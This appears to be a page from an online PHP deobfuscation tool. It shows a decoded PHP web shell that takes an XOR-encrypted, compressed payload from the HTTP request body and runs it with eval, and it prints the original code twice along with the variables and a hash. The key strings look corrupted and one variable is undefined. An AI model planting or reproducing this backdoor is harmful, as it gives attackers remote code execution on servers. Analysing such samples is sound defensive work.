Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $k = "80eu)u)32263"; $khu = "6f8af44u)abea0"; $kf = "35103u)u)9f4a7b5"; $pu = "0..

Decoded Output download

<?php 
$k = "80eu)u)32263"; 
$khu = "6f8af44u)abea0"; 
$kf = "35103u)u)9f4a7b5"; 
$pu = "0UlYu)yJHG87Eu)JqEz6u)u);"; 
 
function x($t, $k) { 
    $c = strlen($k); 
    $l = strlen($t); 
    $o = ""; 
 
    for ($i = 0; $i < $l; $i++) { 
        for ($j = 0; $j < $c && $i < $l; $j++, $i++) { 
            $o .= $t[$i] ^ $k[$j]; 
        } 
    } 
 
    return $o; 
} 
 
if (@preg_match("/$khu(.u)+)$kf/", @file_get_contents('php://input'), $m) == 1) { 
    @ob_start(); 
    @eval(@gzuncompress(@x(@base64_decode($m[1]), $k))); 
    $out = @ob_get_contents(); 
    @ob_end_clean(); 
    $result = @print("$pu$kh$out$kf"); 
} 
?> 

Did this file decode correctly?

Original Code

<?php
$k = "80eu)u)32263";
$khu = "6f8af44u)abea0";
$kf = "35103u)u)9f4a7b5";
$pu = "0UlYu)yJHG87Eu)JqEz6u)u);";

function x($t, $k) {
    $c = strlen($k);
    $l = strlen($t);
    $o = "";

    for ($i = 0; $i < $l; $i++) {
        for ($j = 0; $j < $c && $i < $l; $j++, $i++) {
            $o .= $t[$i] ^ $k[$j];
        }
    }

    return $o;
}

if (@preg_match("/$khu(.u)+)$kf/", @file_get_contents('php://input'), $m) == 1) {
    @ob_start();
    @eval(@gzuncompress(@x(@base64_decode($m[1]), $k)));
    $out = @ob_get_contents();
    @ob_end_clean();
    $result = @print("$pu$kh$out$kf");
}
?>

Function Calls

preg_match 1
file_get_contents 1

Variables

$k 80eu)u)32263
$kf 35103u)u)9f4a7b5
$pu 0UlYu)yJHG87Eu)JqEz6u)u);
$khu 6f8af44u)abea0

Stats

MD5 5414faa74809ecd70a56d2cc1f86a2ba
Eval Count 0
Decode Time 148 ms